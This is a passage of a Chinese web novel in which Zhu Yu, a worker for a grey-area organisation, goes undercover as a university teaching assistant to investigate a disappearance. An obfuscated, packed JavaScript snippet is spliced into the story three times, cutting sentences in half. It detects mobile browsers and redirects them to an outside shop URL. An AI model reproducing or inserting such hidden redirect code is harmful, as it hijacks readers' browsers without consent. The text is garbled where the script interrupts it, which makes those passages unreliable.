祝余不能说自己是个好人,她也是自私的,她留下来,成为灰土的员工,不过是因为背靠大树好乘凉,没有别的地方可去,所以待在这里是最安全也是最好的选择。 她站在原地沉默着,摇摆着,为这份莫名其妙却分量十足的信任而动摇。 她不想成为谁的同盟。 也不想保护或摧毁什么。 她还活着,只是为了活着。 因为不能轻易失去自己的生命,才站在这里。 如果本心也失去了,那么就再也没有机会找回了。 她只想要找到属于自己的答案。 “同盟什么的,就算了。”祝余望到了男性眼底的渴望,却只说,“我就站在这里好了。” 抬头,是孔在一背后窗外那明媚鲜亮的阳光。 背后,是自己黑暗的倒影。 祝余站在中间。 恐惧和麻木或许会变成她前进的动力。 她只需要不停地往前走,不停地因为生命的珍贵美丽而回头,就足够了。 孔在一沉默地注视着让他感到战栗的女性,最终只是收回了手掌。 掌心朝内,在背后空空地握拳,无意识地想要留下什么。 “吉田太太——不,或许应该叫她柳小姐吧。她说过,自己有个弟弟五年前失踪了。如果我没猜错的话,柳小姐应该是为了弟弟才会接近吉田先生。” 那个为了所爱之人疯狂的女人,为了弟弟或许什么都会做。 “你要从这件事情查起吗?” 孔在一沉默片刻,问出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407024|200568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口。 “嗯。”祝余想起柳小姐眼底,那破碎痛苦的神情。 人类的同理心就是这样神奇的东西。 尽管她和柳小姐素不相识,但那种痛苦却仍然通过神经传染到另一人脑中。 比起柳小姐的痛苦,祝余更加好奇让她感到痛苦的元凶。 或者,还有一个更加能说服她的理由。 那就是,她其实不讨厌欺骗她的柳小姐。 最重要的是,这个任务明显比其他的听起来安全很多,至少是和黑暗面接触更少的那个。 “如果可以的话,让062那个家伙去调查柳小姐留下的境外区域号吧?” 祝余想了想,这么决定着。 眼前的男性眉间放松,之前的紧张气氛一扫而空。 孔在一喉咙中发出一声哼笑,不带有任何恶意地调侃着: “你不喜欢和062一起工作吗?” 啊,投诉的机会来了呢。 062,别太怪她哦。 站在原地的女性身形单薄,脸上又露出那种十分微妙的表情,这是种欲言又止的情态,也是祝余脸上最常表现出来的模样。 女性的眼神总是无神的,她的外表是略显纯净又柔软的模样,在这样的灰色组织中,甚至可以用“一只单纯无害的小羊羔”来形容她。 但孔在一却明白不是这样的。 站在他面前的祝余,是一个没有过去的逃亡者。 但她有着足够坚韧和独立的意识,有着柔软肉/体无法比拟的心志。 她像一只脆弱的羔羊,站在生命的边缘,因注视到了生命的灿烂之光,而坚定地守护着。而当她那样做时,却变成了让人无法移开视线的存在。 这是一颗蒙尘钻石般的存在。 孔在一无法、无法从她身上移开视线。 脆弱的、柔软的,却坚硬的、刺目的祝余。 “那个人啊,稍微有点让人讨厌呢。” 她这么说。 她接着说,带着一些私人恩怨,却不叫人反感: “我很不喜欢和不珍惜自己性命的家伙一起工作,这就当是小小的报复吧。” “是啊,”孔在一语气平静地评价着,“062像是一根羽毛一样,轻飘飘地行走着,直到连自己的性命都变得无所谓之后,或许就是他灭亡的时刻吧。” 哦~ 听到了吗,062? 大BOSS对你的评价相当悲观呢。 那家伙听到的话,应该会哭出来吧? “不过,他可能会缠着你,这一点也没关系吗?”孔在一提醒道。 却见祝余面上纳罕,问: “唔?我吗?应该不会吧。062比较像是喜欢新鲜事物的猫,而我,一点都不有趣,一点都不新鲜。” 孔在一沉默注视着她这副模样。 一点都不有趣,一点都不新鲜吗? 他只在心里反驳: 祝余,大概是这句话的相反面吧? 最终,祝余还是和顶头上司抱怨了062那过分粗放随意的工作态度。 孔在一说: “那些信息,祝余就留在自己手里吧。” 男人只是冷静地阐述着:“如果有一天,我变成你讨厌的模样,那就用那些来阻止我吧?” “如果是祝余的话,我应该会妥协吧?” 祝余觉得压力有些大。 但应该不妨碍她用这些证据把面前这家伙绳之以法。 这么一想,心里轻松多了。 到时候可以和帽子叔叔哭诉: 其实我只是个被坏人胁迫的失足少女,那些事情都不是我自己想做的,真正的坏蛋是面前这个道貌岸然的家伙帽子叔叔你要明察啊呜呜呜呜…… 嗯,就是这样! …… “欸~~?” 男人的声线拉得长长的,带着显而易见的哀怨,“小余,看看你干的好事啦!” 062递过厚厚一沓纸质资料,上面密密麻麻地都是小字。 《事故情况表》 《报销凭证单》 《事故情况分析证明》 《投诉知情裁定书》 …… 总之,看起来就很让人头疼的模样。 祝余可不会可怜他。 这男人把混动车开成甲壳虫,严重威胁了自己安全的这件事,无论如何都不能姑息放纵。 她已经和执行部前台小姐打听过了,对接人员在一年内无法更换,除非她死了。 而那张属于062的对接人员名单上面,压根就没有任何一个存在时长超过一年的!! 不管是失踪了,还是死了,亦或是其他的情况,反正人没了。 亏她还因为062之前在机车上的话而感到害怕,现在想想—— 那些莫名其妙消失的前九个同事,真的没有这家伙的责任吗?! 祝余决定,先保住小命再说。 调/教也好,惩罚也罢,必须要让这家伙明白,祝余的命很珍贵,要让他把祝余放在第一位才对。 管他在不在乎自己的命,先做到认认真真完成对接任务再说,不然祝余不介意让他狂吃百张投诉单! 看着面前男性脸上皱巴巴的表情,她心底竟奇异地升起一丝舒爽之情。 祝余把手边的笔递过去。 “要加油哦。毕竟我只是柔弱的同事,062才更应该能者多劳吧?” 062趴在桌面上,滩成一大团,原本亮晶晶的眼睛也失去色彩,卖弄着可怜: “小余,你是在报复我吗?你整整填了十份投诉单据哎?” 炸毛的黑色短发蔫蔫地搭在脑门上,有一种惹人怜爱的错觉。 祝余明知道他这副模样是装出来的,但还是没忍住伸手,抓了一把他头顶那刺刺的毛发,粗糙剌手,但质感出乎意料得不错。 祝余发现,她果然还是更喜欢062这副模样。 没脑筋、没有多余的心思。 至于某位心思如麻的顶头BOSS,还是少接触为妙。 她微笑: “下次,要记得保护好我呢。” 呜哇,完全是报复呢。 黑乎乎的眼睛,黑乎乎的头发,无神的瞳仁,小余的模样看起来就像会在夜晚索命的死神一样恐怖。 尤其是微笑起来的模样,皮笑肉不笑的脸更可怕了,明明是那么可爱的一张脸呢。 062懒洋洋地说了声“好”,拿着笔在纸张上不停地写写划划着,洋洋洒洒写了一堆。 虽然不想干,但居然很擅长的样子,果然还是因为平时被投诉的次数太多了吧? “啊,对了,小余,下次的任务要出境哦,记得去执行部领你的护照和签证,之前有个同事忘记了,被境外一直扣押着,也不知道现在怎么样了呢~” 啊,这人又风轻云淡地说出了很可怕的话呢。 下一个任务,祝余要乘船穿越狭长的霍安比尔海域,抵达灰土的异国分部。 那个坐落在海域对面的国家,就是资料上显示的——柳小姐弟弟曾经留学的地方,即是他失踪的地方。 总感觉,这个所谓的限制片世界观变得越来越大了。 而且,这样那样的剧情也压根没出现过啊,这算什么?诈骗吗? 澄清一下,祝余绝对没有想要发生这样那样剧情的想法。 她只是很好奇而已。 既然兔卷sharke是真实的,孔在一也是真实的,那其他人呢? 祝余回想着公司内她看过的剧本数量,那不下二百位男嘉宾…… 应该……不至于那么夸张吧? …… 祝余因此沉默。 管他呢,反正祝余———— 只是个路人甲而已。 11. 第 11 章 霍安比尔工学院。 这是一所坐落在霍安比尔海域以南,背靠国家边境线的大学。 由于地域因素,这所大学中有着极大一部分比重的学生都来自世界各地,他们有着不同的国籍、不同的文化,却在此处交融,接受着同等程度的学术教育。 琳安·费迪南便是这样的一名学生。 琳安最近有件烦心事。 她的上一任教辅员是个很年轻的男性,年龄几乎和这帮学生一样大,为人和善好相处,脸上常常挂着笑意。 但琳安却觉得,那个人不是那样的。 教辅员很年轻,很讨人喜欢,似乎可以和班上的同学打成一片。但是对于琳安而言,他的很多举动都显得无比冒犯。 无意识的肢体接触,口头上的得寸进尺…… 甚至于在后来,班上的同学们甚至默认他们是一对甜蜜的爱侣。 这简直太不正常了! 琳安是个内向的人。 但内向并不代表着她要这样忍耐男性的逾矩交际。 她向学校的教务中心举报了这位教辅员。 而今天,是她需要重新换一位教辅员的日子。 琳安很讨厌麻烦。 也打从心底里认为,教辅员这种东西对她而言并不重要。 她站在办公室门口长舒一口气,打算尽快完成这项任务便回到宿舍,继续研究自己的毕业课题。 她敲敲门,轻咳一声问道: “老师,请问我可以进来吗?” 门内先是传来一阵细微的慌乱声,接着,有一道略微沙哑的女声响起: “请进。” 是个女性。 这一点让琳安稍微放下心来。 她推门走进。 和门内那个站立在办公桌边整理资料的黑发女性对上视线。 她的外表很寻常。 和琳安金发碧眼的外貌不同的是,这位新来的教辅员的发色和瞳孔全都是纯净的黑色,这是另一人种的显著特征,在这所学院里,也有很多该人种的学生,并不罕见。 新来的教辅员同样年轻,眼尾和面颊上的纹路很少,看起来甚至比琳安都要年幼,这是天然的人种优势。 琳安心中快速地浮动着这些莫名的想法。 但无论如何,新来的教辅员看起来是个好相处的女性,这对她来说是件好事。 她老老实实地和教辅员问好,接着走过去,帮忙将女性桌面上杂乱的资料整理好。 在接下来短暂的交谈中,琳安了解到—— 新来的教辅员的年纪和自己一样大,甚至并不拥有本国国籍,仅仅只是短暂地居留在这个国家。 她叫做祝余,是一个念起来稍微有些拗口的名字。 教辅员看出了琳安的窘迫,唇角勾了勾,给了她一个新的称呼—— Yu。 这个名字听起来很像“youth”的第一音节,而yu的脸看起来也很符合这个单词的含义。 Yu似乎看出了琳安的不自在,干脆不再和琳安攀谈,转而开始了解班级里的其他同学。 琳安所在的班级,是目前毕业年级中整体成绩靠前列的那一个。 不可否认的是,考上这所学校的学生,无一例外都是天之骄子,虽然个人之间存在着细微的差距,但也差别不大。 Yu似乎打算先通过成绩单来了解这个班级。 黑发的温和女性注视着那张成绩单,轻松地在上面找到了琳安名字的那一行。 这让琳安感到稍微的惊喜。 原因在于,她的名字排列顺序和其他同学不同,且由于家族的影响,很多普通的字母都被替换成了其他语种的符号。 刚开学时,很多同学都很难适应琳安的名字,琳安也干脆地将自己的名字拼写成通用语。 但在成绩单上,仍然显示着原来的模样。 琳安有些开心。 她放下自己心中莫须有的警惕,自嘲自己过分紧张的同时,想要帮助这位年轻的教辅员尽快了解自己的班级。 “班级中大部分同学都在学校住宿,需要的话我可以把他们的联络方式导出给你。” 琳安的指尖下滑,滑落到那张成绩单中等的位置上,一个排列方式同样有些奇怪的姓名上。 “这个人,”琳安艰难地念出他的名字,“XixingLang,我没有保留他的联络方式,你需要吗?我可以帮你问问看。” 黑发的女性同样落在那个名字上面,颊上的表情带着一些微妙,之后,她勾起一抹笑,显得整个人十分温和,道: “郎洗星,他的故乡,或许和我一样。” 女性抬起眼睛,琳安发现她的瞳仁形状细小,尚且无法占满眼眶上下之间的边距,但眸光并不犀利,甚至有几分亲和柔软。 “那么,就拜托你了,琳安。” 奇怪。 新来教辅员的话语和眼睛,好像有魔力一样。 琳安感到有些晕晕乎乎的。 明明十分钟前,她还很想回宿舍研究自己的课题呢。 可是现在,好像坐下来听听教辅员想说什么也不错。 这么说来,lang好像不在学校住宿啊,那么想要要到他的联络方式,稍微有点困难呢。 琳安想到这里,了然地点点头,好心地提醒她: “lang平时很少参加课后活动,课题也是一个人完成的。如果你需要和他个人沟通的话,我来帮你交涉吧?” “这样可以吗?”年轻的教辅员一只手撑着下巴,投来的视线带着询问,礼貌道,“如果会给你增添麻烦的话,琳安就忙自己的事情比较好,我自己也可以的。” ! !! 琳安感到内心升起火苗,中气十足道: “完全没问题的!过两天的公开课上我会帮你问一问。” 琳安和新教辅员交换了联络方式,临走的时候,yu还在她手中塞了两颗水果糖。 琳安眼睛亮亮地离开了。 关上门的那一刻。 祝余立刻瘫在椅子里,略感疲惫。 来时乘坐的轮渡要在几个不同的港口接驳,导致她在路上花费了整整一天。 离开时,062甚至还哭唧唧地保证自己一定会尽快完成手头的任务,前来寻找他“亲爱的同事”。 祝余一想到那张可怜巴巴的脸就觉得头大。 好不容易甩掉062,登上这个陌生的国度,她却在下一秒得知一个不幸的消息。 灰土原本的计划,是打算让齐穗以学生的身份进入霍安比尔工学院,这样她才能刚好地融入到学生群体中,适当地打听一些柳小姐弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407025|200568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟的消息。 但是世事无常。 上个月,霍安比尔工学院刚刚取消了交流生名额,取缔了多位教职工人员,导致灰土的信息进度落后,联络通信人员也多位流失。 唯一剩下的机会,就是应聘成为毕业年级的教辅员。 这简直太荒谬了。 先不提祝余没当过教师这件事,她的年龄甚至和毕业年级一样大,要怎么当这帮学生的教辅员? 这个身份比起学生唯一的好处在于: 按照柳小姐弟弟的年龄来计算,如果他仍然留在这所学院中学习,他应该也是毕业年级这一批。 执行部成员安慰祝余,既来之则安之。 但祝余现在既不想来,也不觉得安。 她叹叹气,伸手拿出那名“郎洗星”的学生档案。 上面的照片是一张略显稚嫩的免冠照,面部表情冷淡,眉眼间距近而凶相十足,头发打理得很短,看着便不怎么好相处。 要让一个教辅员去接近学生,然后套出一些信息…… 想想都觉得特别可疑。 更别提这个郎洗星,已经是目前登场的第三位男嘉宾了。 祝余痛苦面具。 祝余也不想选他。 但问题在于,只有郎洗星算得上背景相对单纯的。因为祝余看过属于他的剧本,所以才能够相信他的背景,从而相信他这个人。 这个国家并不安全,甚至比之灰土所在的国度,这个国家的法案条例更加宽松,人民的自由度更高,法律界限也更模糊。 祝余并不想贸贸然接触什么其他人,就只能从男嘉宾下手了。 自己肯定是上贼船了。 想都不用想。 但孔在一的语言能力实在是很强。 看着他那张脸,祝余总有一种—— 不答应下来就会亏一样。 孔在一简直和满减的欺诈程度有得一拼。 口袋里的手机震动着。 祝余面无表情地打开。 联络程序像卡机一样,唰唰唰窜出来一大堆照片。 仔细看看,照片上的主人公全部都是那个可恨的062。 他笑得灿烂,露出虎牙,身上穿着厚厚的羽绒服,戴着护目镜,举着雪橇板站在雪坡上,看那模样开心极了。 这到底是为什么? 为什么他做任务就像度假一样? 难道只有祝余自己的内心充斥着煎熬吗? 她打字: [我会投诉你的。] 程序另一端果然回复过来,黏糊糊的语气让人生理不适: [062:小余小余,下次我们一起来玩吧~超有意思的!] 这家伙,还记得自己有任务吗? 祝余干脆在账号挂上“在忙勿扰”的标签,直接屏蔽了062的信息。 任他胡搅蛮缠,我自巍然不动。 062轰炸祝余无果。 只得灰溜溜地在聊天界面温吞地抱怨: [062:小余是故意支开我的吧?有这么讨厌我吗?] [062:我很喜欢小余。小余讨厌我的话,我也会讨厌你呢。] [062:不过,小余应该不在乎吧?] 五分钟后。 [062:小余,你果然还是很有意思。] 12. 第 12 章 062是个奇怪的人。 祝余并不喜欢这种对所有人都热情满满的家伙,总觉得他心中半点真心也无。 她不知道他的真名,不知道他的年龄,更不知道他到底为什么会成为自己的对接人。 就连在灰土这个组织里,他都好像可有可无似的完成着任务。 对于未知的事物,祝余通常谨慎又恐惧。 不过,她决定不再去思考这些。 原因只有简单的四个字——关她屁事。 不愿意说出来的东西,祝余也不愿意去听,更何况他们抛开这层身份,是纯粹的陌生人。 她没有义务关怀一个奇怪的家伙。 她草草回复了口吻黏黏糊糊的062,将他吵着闹着要来自己身边工作的事情搪塞过去,便把注意力拉回到手边的事务中来。 眼下显然有更重要的事情。 郎洗星是个独行者,这一点需要重点关注。尽管身处大学这个微缩社会中,他也保持着一种生人勿近的态度。 但这种态度反而变成他的加分项,致使身边所有同学或教师都对他保有良好的印象,因为相比较表面好相处、背后性格却无从考究的那些人而言,这种冷漠成为让人放松下来的特质。 这一点和剧本中的描述大差不差。 同样地,她也借由自己薄弱的权力从学校资料库中调取出一份学籍名单。 如果按照柳小姐弟弟的年龄来推算,他按理应该在今年的毕业生名单上才对。 但是结果是没有。 甚至可以说,连一个姓柳的本国人都没有,名字或信息稍微有些靠近的人选都找不到。 祝余开始怀疑自己了。 说实在的,她不认为自己和柳小姐的关系会紧密到,她会特意对自己说谎的程度。 她也不愿意相信柳小姐那副模样是为了蒙骗自己而表演出来的结果。 柳小姐离开本国、于对岸的边陲国家转机之后,她的所有信息就像被一夜之间清空了一般,就连据点多如牛毛的灰土也没能找到她后续的去向。 不管是柳小姐,还是万能药,都像是一场梦。 祝余有些气馁。 当然比起气馁,她心中更多的情绪可能是尴尬。 毕竟都那样在孔在一面前放下大话,甚至还威胁人家,到头来却什么都没发现,总觉得有种莫名其妙的愧疚感。 手边的档案纸上,简单明了地写明郎洗星的学术背景。就这份档案来看,他是个足够优秀的人。 档案中充斥着东拼西凑的、或是正式或是粗糙的内容,诸如在小学当过班长,在中学参加过竞赛,世界各地的夏令营、国际上的知名赛事…… 啊,到了大学时,已经开始参加奥赛了,虽然偏科,但最终是用报送名额成为霍安比尔的学生。 是个在同龄人中可以算作聪明突出的人。 而在那份荒唐情/色的剧本中,这其实是个男小三上位的年下学弟来的。 呃,这也太割裂了。 祝余打量着那张照片上,眼神犀利、面容带着凶相的年轻男性,总觉得这是编剧老师的恶趣味。 嗯,先——休息一下吧。 工作必须要劳逸结合才行,尽管祝余还没工作多久,但是! 休息,是必要的! 她拿起手机,忽视062那个账号上面标红的20+消息,心态良好地滑动着屏幕。 一条信息在此刻,恰到好处地传送过来。 祝余的目光落在那个联系人上。 是方时。 要说为什么会和他交换联络方式,仅仅是因为临走的时候祝余又去找他取经了而已。 她不得不承认,相比较其他人,与方时相处显然更舒适。 这就像是你在一所精神病院找到了和你同一天入职的护工同事一样。 方时就是有这种神奇的魔力。 祝余认为他们很像。 他们都是那种会站在交际距离外的人,从来不主动与任何人产生联系。 这种距离感让祝余得到了喘息的机会。 祝余为自己在这个畸形的世界中找到了正常人而痛哭流涕。 最重要的是,方时绝—对—不可能是众多男嘉宾中的一位! 这也就意味着,方时是远离原本剧本的男人,也就是说,是个完完全全的正常人! 祝余坐直身体,查看着自己单方面认定的“好友”发来的信息。 [TIME:你的东西。] 配图是一根灰黑色的发绳。 祝余抬手摸了摸自己的头发,才注意到这一点。 头发已经很久没剪了,甚至额前的发丝有几簇有些扎眼。 这么说来,其实她完全可以找方时帮忙。 [祝余:可以帮忙理发吗?] 方时的回复意外得毒舌。 [TIME:你把我当外面的理发店吗?] 欸? 所以是不行的意思吗? 祝余还没道歉,那边又重新发来—— [TIME:你现在是肩发对吧?剪更短会有些破坏比例,等变长了再来找我吧。] 祝余抿唇,伸手摸了摸自己的发尾,长度刚刚好抵达肩膀,是稍微有些碍事的程度。 嗯,既然他都这样说了,那就下次再去吧。 [祝余:嗯嗯。] 在方时的联络页面停留了十秒钟,确定没有新传来的讯息之后,祝余关闭了通讯软件。 结束这次短暂的对话。 …… 来报道的第二天需要参加一个培训会,基本上是一群新入职的教辅员才会参与,会上会提及到他们的工作重点和概要,内容十分琐碎,由于教辅员严格意义上并不属于教师,所以几乎没有人会在意。 祝余特意带了笔记本,坐在会议室最靠后的位置,仔细记下了每一条。 虽然旁人可以不在意,但是祝余不行。 她来到这里并不只是为了当一个教辅员,更是为了了解当年的真相,以及找到那位在异乡莫名失踪的少年。 因此,伪装是有必要的,靠近学校内的权力阶层也是有必要的。 当然,这一趟无聊的会议也不是全无收获。 在偌大的会议室里,在那个主位上的男人喷沫式的说教演讲中,祝余注意到了一个很少见的词汇—— “基金会”。 一所大学,要靠什么才能维持运转? 大学就是微缩的社会。 而坐在这里的每一个人,都是为了这个小社会中或多或少的利益交换而来。 但相比较社会中的其他集体组织,大学又变得十分特殊。 只因为大学明面上,奉行“培养学生的未来”而存在着。这个组织相比较其他社会团体,显得极脆弱。 这里源源不断地吸纳着世界上最擅长学术的人群,也源源不断地输送着世界上最先进前列的知识群体。 没有钱是做不到的。 没有权力是做不到的。 这所就坐落在霍安比尔海域以南的学校,实际上是个很耐人寻味的社会团体。 霍安比尔海域有些特殊。 这是一片狭长的、联通着周围多达数十个国家的国际海域,一艘轮渡在霍安比尔海域中环行一周,会至少接驳上百个国际港口。 人、货品、金钱在这里疯狂流通着。 灰土因为毗邻这片海域,而赚得盆满钵满。 甚至于一所大学,也拥有了数十个基金会的支持。 然而实际上,有个十分残忍的现实—— 人们总说,成绩很重要,大学很重要,学历很重要,这些是一个无知的灵魂敲响财富之路的先决条件。 但事实上,财富之路的起跑线上,存在着一道看不到的坎,那道坎是金钱和权力铺垫起来的、残酷的筛选线。 财富,需要看得到那道坎的人才能创造。 人的所有特性,在社会中,都只是创造财富的工具而已,包括人本身。 更遑论是在这个早已畸形的社会中,这残酷麻木的原则变成了真理。 在祝余临行之前,孔在一曾经隐晦地提醒过她—— 霍安比尔工学院是所有些特殊的大学,他们不仅包揽着学生的教育,同样也会以学校的名义与某些组织进行合作。 这其中当然也包括灰土,否则灰土不可能有这种能力将祝余安插进来。 但一所大学,会以什么名义、为了哪种目的来与社会中的灰色组织做交换呢? 祝余特意查看过部分正常的交易记录。 上面显示着一些寻常货品,大部分是高精密的电子器械和零件,有时候也会采买一些药品,用途也十分正常。 但这类型的货品,显然也有更加正常的卖方才对。 同样地,一所大学居然会有数十个基金会的资金支持,这一点也相当可疑。 大学本身就是一台十分恐怖夸张的造钱机器,这些输送进来的金钱,最终会流向何处? 祝余头皮发麻。 那种熟悉的冰凉感又侵袭了她的身体。 在这个社会中,过分敏感是件坏事。 在没有足以能够解决面前的困扰之前,祝余只能选择强迫自己不去想象那些。 祝余反复地警告自己—— 她只做自己该做的。 她环顾四周,注意到这所会议室中,实际上存在着很多“赞助”元素。 例如正在播放视频的多媒体设备品牌,例如会议桌上硕大的logo,甚至于是在场所有人手边的矿泉水瓶。 上面都有着相同的标识—— 一个花体的H。 YayahakuSine基金会,这是个活跃于世界各地的国际组织,旨在输出资金资助贫困的适龄学生完成学业。 Haku是创始人的姓氏。 这个基金会并不起眼。但它却是唯一一个可能会与柳小姐弟弟的失踪案产生关联的组织。 在柳小姐弟弟失踪前,曾经在该基金会中实习,并且得到了一份满分的实习证明。 祝余记下了那个略显花哨的符号。 会议结束后,有很多人留下来,脸上带着市侩的笑容,这种交际方式他们比祝余更加熟悉。 祝余则是无法忍受这种氛围,而选择早早离开了。 琳安在今天早上通知了她公开课的时间地点,祝余打算早点去参加,顺便了解一下班级内的情况。 在她来之前,这个班级似乎已经有过一位不那么称职的教辅员。 唔……想想就有些苦恼。 祝余完—全—没有过和小孩相处的经历…… 尽管这些人的年龄和她相差不大。 但祝余已经是个被职场狠狠腌制过的社畜了,双眼无神、身体酸软,一上班就会条件反射地开始拖延时间,并且应激式地进入工作摸鱼两不误的模式。 再看看这所学校里的学生们,眼睛亮亮的、穿得时髦漂亮,每个人都神采飞扬,眼神中蕴含着从未被社会毒打过的天真愚蠢。 祝余她啊,已经再也回不去了……(痛苦面具) 漂亮得像洋娃娃一样的女孩子朝她跑过来,声音小心翼翼带着尊重: “老师,早上好。” 啊,不说她都要忘记了,原来现在还是早上呢,到底为什么成为灰色组织的员工都要早起上班呢? 祝余有气无力地朝她摆摆手。 琳安走在她身旁,略带好奇地观察这个新来的教辅员。 她是一种琳安从未接触过的女性。 外表寡淡,面色苍白,脸上好像除了蒙蒙的白,就是睫毛眉毛和眼珠上那一点混黑,就连衣服都穿得毫无色彩,和这个开放缤纷的国度格格不入。 琳安是个内向的人,但yu好像比她还内向。 上一个居心不良的教辅员一周能约她出门十次,可是yu,加了联络方式之后却一句话都没说过。 这让琳安轻松中带着疑惑。 Yu难道不需要了解一下他们班吗?或者说,她不需要了解一下琳安自己吗?她一点好奇心都没有吗? 班级里谁和谁谈恋爱,谁和谁关系不好,谁不喜欢学习出勤率低,谁的性格差需要重点注意,这些她都不需要知道吗? 明明上一个被举报的家伙第一时间想要了解这些东西。 琳安看着祝余略显清瘦的背影,快走两步跟了上去。 选修制的班级里,几乎没有过人到齐的时候。 但今天琳安特意通知了班里的学生,新来的教辅员会来听一节公开课了解班级情况。 因此,推开门,祝余看到的是一双双赤诚的眼睛。 嗯,很好,每一双都透露着清澈的愚蠢。 跟在祝余身后的琳安见她稍微后退半步,深呼吸一口气才走进去,模样甚至有种赴死的英勇。 金发碧眼的女生抿着唇,没忍住笑意。 祝余在心中默念着: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407026|200568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就当他们是一帮大白菜。 但大白菜们的脸上带着肉眼可见的戏谑,眼中的愚蠢简直要满溢而出。有那么几位吊儿郎当的,甚至坐在桌面上,高声放肆地笑骂着,把墙壁上张贴的“Bequiet”视若无物。 她终于也深刻地体会到,在政教处报道时,那位略带尴尬的主任口中所说的含义—— “之前的教辅员犯过一些原则性的错误”。 这已经是讨人嫌的地步了吧? 她强装作感受不到自己的腿在发抖,事实上,她已经感受不到自己大小腿的存在了。 祝余木着一张脸,走向阶梯教室最前方的讲台,学生们的目光全都从更高的地方投射下来,那些目光带着嘲讽似的热忱。 愚蠢的大白菜们啊,看吧,都仔细地看吧。 祝余唯一能做的,是不让自己露出除冷漠之外的表情。 临行之前,她特意向方时取经。 方时是个很优秀的人,可以说,他会的东西很全面。 服装设计、戏剧表演、心理学……等等,似乎只要与人的外表相关联的东西,他都能侃侃而谈。 不过,他最后只给了祝余一句话。 那个寡言的、冷静的、像个影子一样的男人,用那双与祝余一样的混黑色瞳孔注视着她,只说: “紧张的时候,就保持这个模样。” 下巴微收,瞳孔平视,露出瞳仁下方一点眼白,睫毛下垂,限制视野空间,唇角和眼尾不要有任何纹路。 这副模样,是足够冷漠、也足够拒人千里之外的模样,是一种恰当的伪装。 对于祝余而言,已经足够了。 果不其然,方时说的很对。 在祝余从门口走到讲台上的这段时间中,那种刺耳的笑骂声偃旗息鼓,转变为窸窸窣窣的窃窃私语。 大白菜们变成了小老鼠。 方老师,我祝余誓死拥护你! 十分钟之后,祝余结束了自己的发言。 事实上,她的发言中并没有什么实质性的内容,除去政教处特意嘱咐的安全问题,只交代了自己的办公室位置,好让这帮大白菜在有空的时候去给她添堵。 不是,是求助。 她想,她的态度应该相当明显了吧? 她僵硬着走上台,又僵硬着走下台,一屁股坐在离讲台三排远的一个空位上。 按照规定,教辅员要关注学生的学习质量。 规定,规定…… 唉,真想回到自己的小办公室里呆着。 金发碧眼的漂亮女孩也走过来,坐在她左手边的位置上,将祝余堵在里面。 好像是叫,琳安…… 琳安眯着眼睛,朝祝余笑,手指不自然地拨弄着发尾的金色小旋,声音掐得细小,“老师,你还有什么想知道的吗?” “嗯?”祝余学着她,低下头,将下巴搭在叠放的胳膊上,道,“想知道的,是指什么?” 面前的女生表情不自在: “就是,关于同学们的事情。” 琳安小心翼翼地解释着:“之前的那位教辅员和同学们关系很好,他入职的第一天就了解了很多班级里的情况,所以——” 唉。 祝余内心叹惋着: 这就是不懂工作、不会工作,最终还搞砸工作的典型。 真把这帮大白菜当成好糊弄的主了吗? 大白菜虽然清澈而愚蠢,但大白菜们有一项世人望其项背的特征—— 自尊心肥大化。 谁会喜欢别人在背地里打听自己的消息? 谁又会想让老师知道自己在课堂上睡觉打游戏、偶尔挂科、还因为情感问题而哭得涕泗横流的囧事? 上一任教辅员,显然是个比大白菜还蠢材的蠢材。 祝余摇摇头,道: “不需要。” 许是结束了如同酷刑般的公开演讲,祝余的心情变得轻松下来。 她注意到门口,一头花白的老教授推门走进来,语气略带调侃道: “那些莫名其妙的东西,关我屁事?” 琳安怔了怔,而后唇边蔓延开甜蜜的笑意,她感到心中有一阵轻松。 这种轻松是身边这位寡言却有趣的女性带给她的。 一周前,她被不守规矩的男教辅员纠缠,甚至追到宿舍楼下。 那时候的学校里,到处都是属于她的风言风语,她的隐私像碍事的布料一样被随意掀开,然后又装腔作势地放下,好像这样琳安就会原谅他们的冒犯一样。 琳安不得不承认,她这样问,多少有几分试探的意味。 但Yu给了她一个不认真、却有趣的回答。 她确实,是有点喜欢这位新来的教辅员的。 “对了,”琳安突然想起什么,“lang似乎有些事情想要和你聊聊,我告诉他,你今天会来旁听公开课,他说课程结束后会在办公室等你。” “嗯。”祝余随口答应了。 …… 一小时后,她被连人带椅按在墙上,心中略感崩溃。 这不是壁咚,也不是骚扰。 此刻的祝余,脚离地至少四十公分,被男性拎着椅子拽了起来,好像下一秒就要把她当成铅球扔出去。 “那个,你要不先冷静一下?”祝余冷着一张脸。 是的,她现在只能冷着一张脸,因为不知道该作何表情。 真恨这么不成器的自己。 郎洗星: “冷静?我现在很冷静。” 哇哦,经典名台词打卡。 